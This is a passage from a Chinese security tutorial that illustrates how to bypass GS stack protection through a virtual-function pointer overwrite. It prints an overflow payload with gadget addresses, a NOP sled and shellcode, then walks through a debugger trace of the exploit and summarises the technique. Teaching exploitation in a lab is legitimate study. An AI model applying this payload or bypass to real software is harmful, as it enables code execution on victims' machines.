FreeBuf|图解利用虚函数过GS保护( 四 )


FreeBuf|图解利用虚函数过GS保护
文章图片
"x53x13x40x41"//ppt指令序列地址"x90x90x90x90x90x90x90x90xafx10x40x41"//jmpesp地址*3"x90x90x90x90x90x90x90x90"//nop滑轨"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42"//shellcode"x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03""x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b""x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e""x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c""x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x79x74""x65x01x68x6bx65x6ex42x68x20x42x72x6fx89xe1xfe""x49x0bx31xc0x51x50xffxd7""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90"//滑轨"x38x21x40x41");//原始参数地址3.4代码跟踪为了更好的理解利用虚函数过GS保护过程 , 最后我们利用构造好的payload , 来跟踪下执行过程 。 这里只贴出关键点的图片 。 先看下各变量的地址 。
FreeBuf|图解利用虚函数过GS保护
文章图片
下图可以看到虚表指针(0x0018FF34)已经指向原始参数(0x41402138) , 原始参数也已经指向ppt指令序列地址(0x41401353) 。
FreeBuf|图解利用虚函数过GS保护
文章图片
下图 , 执行虚函数call0x41402138(原始参数地址) , 并且可以看到当前esp+4=buf首地址(0x0018FF34) 。
FreeBuf|图解利用虚函数过GS保护
文章图片
下图 , 执行call函数后 , 返回地址入栈 , 这时候可以看到当前esp为0x0018FE1C,然后继续执行ppt指令序列0x41401353 , pop两次后 , 将栈顶esp0018FE24处的ppt序列指令0x41401353给EIP , 再一次跳转到0x41401353地址 。
FreeBuf|图解利用虚函数过GS保护
文章图片
下图 , 这时候看到当前esp为0x18FE28
FreeBuf|图解利用虚函数过GS保护
文章图片
下图 , 执行Poppop指令 , 将2个”x90x90x90x90”pop出 , 当前esp=0x0018FE30 , 然后ret , 将跳转到0x0018FE30处的0x414010af处(jmpesp地址)
FreeBuf|图解利用虚函数过GS保护
文章图片
跳到jmpesp指令地址 , 然后执行指令jmpesp
FreeBuf|图解利用虚函数过GS保护
文章图片
重新跳回shellcode内存区域 , 0x0018FE34处 , 开始执行nop滑轨 , 紧接着为shellcode , 这样就成功执行了shellcode 。
FreeBuf|图解利用虚函数过GS保护
文章图片
四、小结思路:精准覆盖虚表指针为原始参数地址 , 然后利用PPT指令序列跳板 , 跳到局部变量内存区间 , 然后执行局部变量内存的PPT序列 , 再利用jmpesp跳板重新跳回局部变量内存空间 , 执行shellcode 。 这里需要说明的有两点:
1)我看到网上也有将虚表指针直接覆盖为局部变量地址 , 局部变量地址是0x00开头 , 虽然strcpy存在00截断 , 但是因为虚表指针放在payload最后面 , 即使最后个00字节截断 , 但是原有系统高位就是00 , 因此也可成功将虚表指针直接覆盖为局部变量地址 。 例如”x24xfex18x00” 。